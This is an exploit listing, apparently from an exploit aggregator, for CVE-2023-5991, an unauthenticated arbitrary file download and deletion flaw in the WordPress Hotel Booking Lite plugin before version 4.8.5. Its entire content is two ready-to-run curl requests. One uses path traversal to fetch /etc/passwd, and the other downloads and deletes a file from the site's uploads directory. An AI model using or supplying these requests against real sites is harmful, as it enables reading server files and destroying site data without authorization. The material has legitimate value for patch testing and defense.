Exploit for Hotel Booking Lite < 4.8.5 - Unauthenticated Arbitrary File Download & Deletion CVE-2023-5991

Name: Exploit for Hotel Booking Lite < 4.8.5 - Unauthenticated Arbitrary File Download & Deletion CVE-2023-5991
Rating: 5 (92 reviews)

2023-12-01 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:E9D35E36-1E60-4483-B8B3-5CBF08FCD49E
To download /etc/passwd: curl 'https://example.com/?filename=../../../../../../etc/passwd&mphb_action=download'

To download and delete the /wp-content/uploads/delete-me.php file: curl 'https://example.com/?filename=../delete-me.php&mphb_action=download&remove=1'